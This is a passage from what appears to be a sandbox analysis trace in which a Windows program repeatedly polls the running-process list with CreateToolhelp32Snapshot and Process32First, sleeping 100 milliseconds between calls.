pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.132] Sleep (dwMilliseconds=0x64) [0126.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19bc [0126.251] Process32First (in: hSnapshot=0x19bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.357] Sleep (dwMilliseconds=0x64) [0126.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1994 [0126.605] Process32First (in: hSnapshot=0x1994, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.698] Sleep (dwMilliseconds=0x64) [0126.800] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19d8 [0126.811] Process32First (in: hSnapshot=0x19d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.937] Sleep (dwMilliseconds=0x64) [0127.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c34 [0127.054] Process32First (in: hSnapshot=0x1c34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.153] Sleep (dwMilliseconds=0x64) [0127.264] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe1c [0127.880] Process32First (in: hSnapshot=0xe1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.372] Sleep (dwMilliseconds=0x64) [0128.472] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a04 [0128.492] Process32First (in: hSnapshot=0x1a04, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.576] Sleep (dwMilliseconds=0x64) [0128.680] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c8 [0129.214] Process32First (in: hSnapshot=0x19c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.297] Sleep (dwMilliseconds=0x64) [0129.450] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c8 [0129.473] Process32First (in: hSnapshot=0x19c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.722] Sleep (dwMilliseconds=0x64) [0129.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c8 [0129.841] Process32First (in: hSnapshot=0x19c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.997] Sleep (dwMilliseconds=0x64) [0130.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c8 [0130.110] Process32First (in: hSnapshot=0x19c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.174] Sleep (dwMilliseconds=0x64) [0130.287] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0130.309] Process32First (in: hSnapshot=0x2f4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.391] Sleep (dwMilliseconds=0x64) [0130.535] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x199c [0130.554] Process32First (in: hSnapshot=0x199c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.699] Sleep (dwMilliseconds=0x64) [0130.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0c [0130.811] Process32First (in: hSnapshot=0x1a0c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.916] Sleep (dwMilliseconds=0x64) [0131.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1110 [0131.053] Process32First (in: hSnapshot=0x1110, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.122] Sleep (dwMilliseconds=0x64) [0131.267] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11b4 [0131.294] Process32First (in: hSnapshot=0x11b4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.364] Sleep (dwMilliseconds=0x64) [0131.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc8 [0131.485] Process32First (in: hSnapshot=0x1bc8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.645] Sleep (dwMilliseconds=0x64) [0131.746] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18dc [0131.763] Process32First (in: hSnapshot=0x18dc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.930] Sleep (dwMilliseconds=0x64) [0132.030] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x880 [0132.049] Process32First (in: hSnapshot=0x880, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.172] Sleep (dwMilliseconds=0x64) [0132.308] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c2c [0132.326] Process32First (in: hSnapshot=0x1c2c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.389] Sleep (dwMilliseconds=0x64) [0132.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1938 [0132.534] Process32First (in: hSnapshot=0x1938, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.601] Sleep (dwMilliseconds=0x64) [0132.702] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1938 [0132.717] Process32First (in: hSnapshot=0x1938, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.841] Sleep (dwMilliseconds=0x64) [0132.942] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1938 [0132.954] Process32First (in: hSnapshot=0x1938, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.030] Sleep (dwMilliseconds=0x64) [0133.204] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x197c [0133.217] Process32First (in: hSnapshot=0x197c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.368] Sleep (dwMilliseconds=0x64) [0133.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180c [0133.484] Process32First (in: hSnapshot=0x180c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.550] Sleep (dwMilliseconds=0x64) [0133.652] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa20 [0133.664] Process32First (in: hSnapshot=0xa20, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.778] Sleep (dwMilliseconds=0x64) [0133.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1998 [0133.913] Process32First (in: hSnapshot=0x1998, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.984] Sleep (dwMilliseconds=0x64) [0134.085] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c2c [0134.103] Process32First (in: hSnapshot=0x1c2c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.263] Sleep (dwMilliseconds=0x64) [0134.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c2c [0134.389] Process32First (in: hSnapshot=0x1c2c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.501] Sleep (dwMilliseconds=0x64) [0134.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18cc [0134.711] Process32First (in: hSnapshot=0x18cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.966] Sleep (dwMilliseconds=0x64) [0135.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa24 [0135.086] Process32First (in: hSnapshot=0xa24, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.168] Sleep (dwMilliseconds=0x64) [0135.279] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23e8 [0135.314] Process32First (in: hSnapshot=0x23e8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.431] Sleep (dwMilliseconds=0x64) [0135.658] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1804 [0135.718] Process32First (in: hSnapshot=0x1804, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.781] Sleep (dwMilliseconds=0x64) [0135.911] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18dc [0135.923] Process32First (in: hSnapshot=0x18dc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.998] Sleep (dwMilliseconds=0x64) [0136.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa20 [0136.112] Process32First (in: hSnapshot=0xa20, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.220] Sleep (dwMilliseconds=0x64) [0136.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1948 [0136.348] Process32First (in: hSnapshot=0x1948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.453] Sleep (dwMilliseconds=0x64) [0136.554] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23e8 [0136.568] Process32First (in: hSnapshot=0x23e8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.636] Sleep (dwMilliseconds=0x64) [0136.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1964 [0136.848] Process32First (in: hSnapshot=0x1964, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.034] Sleep (dwMilliseconds=0x64) [0137.135] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1498 [0137.149] Process32First (in: hSnapshot=0x1498, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.233] Sleep (dwMilliseconds=0x64) [0137.386] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x195c [0137.402] Process32First (in: hSnapshot=0x195c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.497] Sleep (dwMilliseconds=0x64) [0137.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x193c [0137.610] Process32First (in: hSnapshot=0x193c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.692] Sleep (dwMilliseconds=0x64) [0137.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1808 [0138.193] Process32First (in: hSnapshot=0x1808, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.260] Sleep (dwMilliseconds=0x64) [0138.375] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1808 [0138.392] Process32First (in: hSnapshot=0x1808, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.551] Sleep (dwMilliseconds=0x64) [0138.654] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1808 [0138.670] Process32First (in: hSnapshot=0x1808, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.782] Sleep (dwMilliseconds=0x64) [0138.939] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x197c [0138.953] Process32First (in: hSnapshot=0x197c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.157] Sleep (dwMilliseconds=0x64) [0139.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1974 [0139.281] Process32First (in: hSnapshot=0x1974, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.425] Sleep (dwMilliseconds=0x64) [0139.602] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1950 [0139.616] Process32First (in: hSnapshot=0x1950, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.785] Sleep (dwMilliseconds=0x64) [0139.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1490 [0139.963] Process32First (in: hSnapshot=0x1490, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.069] Sleep (dwMilliseconds=0x64) [0140.170] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1980 [0140.183] Process32First (in: hSnapshot=0x1980, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.249] Sleep (dwMilliseconds=0x64) [0140.350] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198c [0140.388] Process32First (in: hSnapshot=0x198c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.476] Sleep (dwMilliseconds=0x64) [0140.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1950 [0140.658] Process32First (in: hSnapshot=0x1950, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.867] Sleep (dwMilliseconds=0x64) [0140.968] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c0 [0140.981] Process32First (in: hSnapshot=0x11c0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.058] Sleep (dwMilliseconds=0x64) [0141.218] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1950 [0141.230] Process32First (in: hSnapshot=0x1950, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.293] Sleep (dwMilliseconds=0x64) [0141.426] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb68 [0141.440] Process32First (in: hSnapshot=0xb68, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.591] Sleep (dwMilliseconds=0x64) [0141.699] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb68 [0141.724] Process32First (in: hSnapshot=0xb68, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.834] Sleep (dwMilliseconds=0x64) [0141.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb64 [0141.995] Process32First (in: hSnapshot=0xb64, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.095] Sleep (dwMilliseconds=0x64) [0142.258] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x970 [0142.321] Process32First (in: hSnapshot=0x970, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.455] Sleep (dwMilliseconds=0x64) [0142.557] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x970 [0142.573] Process32First (in: hSnapshot=0x970, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.729] Sleep (dwMilliseconds=0x64) [0142.903] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18ec [0142.915] Process32First (in: hSnapshot=0x18ec, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.074] Sleep (dwMilliseconds=0x64) [0143.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb64 [0143.192] Process32First (in: hSnapshot=0xb64, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.290] Sleep (dwMilliseconds=0x64) [0143.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x197c [0143.481] Process32First (in: hSnapshot=0x197c, lppe=0xfdcfe20 | out: 